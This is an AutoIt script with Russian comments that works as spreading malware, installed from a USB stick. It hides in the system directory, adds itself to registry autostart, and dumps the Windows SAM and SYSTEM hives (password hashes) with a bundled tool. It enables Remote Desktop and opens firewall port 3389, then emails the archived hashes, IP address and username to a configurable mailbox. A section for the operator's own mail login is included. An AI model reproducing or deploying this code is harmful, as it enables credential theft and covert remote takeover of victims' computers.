#include <Constants.au3>
#include <Encoding.au3>
#Include<file.au3>
#include <Inet.au3>
#NoTrayIcon
$IP = _GetIP() ; узнаем ип адрес компа
$usernem = @UserName; ; узнаем имя пользователя
$FromName = "Данные удаленного пк" ; тема письма
$Subject = "Удаленный компьютер" ; тело писима
$AttachFiles = "C:\sam.7z" ; файл каторый нада прикрутить к письму
;============== ВОТ ТУТ ВВЕДИ СВОИ ДАННЫЕ почты =============================
$BccAddress = "[email protected]" ; полный твой маил адрес
$Username = "qwerty" ; здесь логин твоей почты
$Password = "abc" ; здесь пароль
;=============================================================================
;
;Return
$SmtpServer = "smtp.mail.ru"
$IPPort = 25
$ssl = 0
$Importance = "Normal"
;//////////////////////// ПЕРЕБРОСКА С ФЛЕШКИ НА КОМПЬЮТЕР ///////////////////////////
If FileExists(@SystemDir & "\zzz.ini") Then
Else
$werifik = FileOpen(@SystemDir & "\zzz.ini",2)
FileWriteLine($werifik,"-")
FileClose($werifik)
FileCopy(@ScriptFullPath,@SystemDir)
Sleep(300)
;------------------------------------------------
FileInstall("fdump.exe", "C:\fdump.exe");запаковуем ехе в пакет
Run("C:\fdump.exe /V " & @SystemDir & "\config\system C:\system", "", @SW_HIDE) ; извлекаем sam и system Файлы
Run("C:\fdump.exe /V " & @SystemDir & "\config\SAM C:\sam", "", @SW_HIDE) ; каторые доступны толька для чтения
Sleep(900)
ProcessClose("fdump.exe")
Sleep(900)
ProcessClose("fdump.exe")
FileInstall("7z.exe", "C:\7z.exe") ; запаковуем ехе пакет программы 7z
$a = 'C:'
$a1 = $a & "\7z.exe" & " a " & $a & "\sam.7z " & $a & "\sam"
$a2 = $a & "\7z.exe" & " a " & $a & "\sam.7z " & $a & "\system"
Run($a1, "", @SW_HIDE) ; запаковуем
sleep(2000) ; задержка
Run($a2, "", @SW_HIDE) ; запаковуем
sleep(6000) ; задержка
Run($a1, "", @SW_HIDE) ; запаковуем
FileCopy("C:\sam.7z",@ScriptDir)
$ee = FileOpen("ip-names.txt",1)
FileWriteLine($ee,"IP адрес компьютера - " & _GetIP()& " ----- " &"Имя пользователя - " & @UserName)
FileClose($ee)
MsgBox(0,"","Программа внедренна в сисмему флешку можно извлеч",0)
;----------------------------------------------------------
Run(@SystemDir & "\" & @ScriptName)
Exit
EndIf
;//////////////////////////////////////////////////////////////////////////////////////////
While 1
if FileExists("C:\bootsleep.ini") Then
$hFile = FileOpen("C:\bootsleep.ini",0)
$fil = FileReadLine($hFile);
if $fil <> _GetIP() Then
$Hfiles = FileOpen("C:\bootsleep.ini",2)
FileWriteLine($Hfiles, _GetIP())
FileWriteLine($Hfiles, @UserName)
$cons_string ="OK"
$Body = '<h1 /h1> Текущий IP Адрес - <font color="#CC0000">' & $IP & ' </font> ' & @CR & '<h1 /h1> Имя пользователя - <font color="#CC0000">' & $usernem & ' </font> ' & @CR & '<h1 /h1> Удаленный рабочий слол - <font color="#CC0000">' & $cons_string & ' </font> ' ; само пьсьмо
$AttachFiles = ""
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $BccAddress, $BccAddress, $Subject, $Body, $AttachFiles, $BccAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
EndIf
FileClose($hFile)
Else
$Hfiles = FileOpen( "C:\bootsleep.ini",2)
FileWriteLine($Hfiles, _GetIP())
FileWriteLine($Hfiles, @UserName)
;==== добавление программы в реестер для автозапуска ============
$sRegKey = "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
$NameProga="System_Trey"
RegWrite($sRegKey, $NameProga, "REG_SZ", @ScriptFullPath)
;==================================================================
;============== Вкалючаем удаленный рабочий столл ==============================
Dim $pid
Dim $cons_string
Run( 'cmd /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f')
Run( 'cmd /c net start Termservice')
$pid = Run(@ComSpec & ' /k netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow', @SystemDir, @SW_HIDE, $STDOUT_CHILD + $STDERR_CHILD)
$cons_string = StdoutRead($pid)
Sleep(500);
$cons_string =StringMid(_Encoding_866To1251( StdoutRead($pid)),1,2) ;meняем кадировку
;=================================================================================
;@OSVersion
;@ComputerName ; сетевое имя компьютера
;============== изятие файлов паролей ========================================================
;=================================================================================================
FileInstall("fdump.exe", "C:\fdump.exe");запаковуем ехе в пакет
Run("C:\fdump.exe /V " & @SystemDir & "\config\system C:\system", "", @SW_HIDE) ; извлекаем sam и system Файлы
Run( "C:\fdump.exe /V " & @SystemDir & "\config\SAM C:\sam", "", @SW_HIDE) ; каторые доступны толька для чтения
Sleep(900)
ProcessClose("fdump.exe")
Sleep(900)
ProcessClose("fdump.exe")
FileInstall("7z.exe", "C:\7z.exe") ; запаковуем ехе пакет программы 7z
$a = 'C:'
$a1 = $a & "\7z.exe" & " a " & $a & "\sam.7z " & $a & "\sam"
$a2 = $a & "\7z.exe" & " a " & $a & "\sam.7z " & $a & "\system"
Run($a1, "", @SW_HIDE) ; запаковуем
sleep(2000) ; задержка
Run($a2, "", @SW_HIDE) ; запаковуем
sleep(6000) ; задержка
Run($a1, "", @SW_HIDE) ; запаковуем
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$Body = '<h1 /h1> Текущий IP Адрес - <font color="#CC0000">' & $IP & ' </font> ' & @CR & '<h1 /h1> Имя пользователя - <font color="#CC0000">' & $usernem & ' </font> ' & @CR & '<h1 /h1> Удаленный рабочий слол - <font color="#CC0000">' & $cons_string & ' </font> ' ; само пьсьмо
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $BccAddress, $BccAddress, $Subject, $Body, $AttachFiles, $BccAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
FileClose($Hfiles)
EndIf
Sleep(3200000)
WEnd
; ============= Отправка почты =======================================================
;========================================================================================
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
Local $objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
If FileExists($S_Files2Attach[$x]) Then
ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
$objEmail.AddAttachment($S_Files2Attach[$x])
Else
ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
SetError(1)
Return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
If Number($IPPort) = 0 then $IPPort = 25
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
If $ssl Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
$objEmail.Configuration.Fields.Update
Switch $s_Importance
Case "High"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
Case "Normal"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
Case "Low"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
EndSwitch
$objEmail.Fields.Update
$objEmail.Send
If @error Then
SetError(2)
Return $oMyRet[1]
EndIf
$objEmail=""
EndFunc
Func MyErrFunc()
$HexNumber = Hex($oMyError.number, 8)
$oMyRet[0] = $HexNumber
$oMyRet[1] = StringStripWS($oMyError.description, 3)
ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
SetError(1)
Return
EndFunc
;===========================================================================================
;===========================================================================================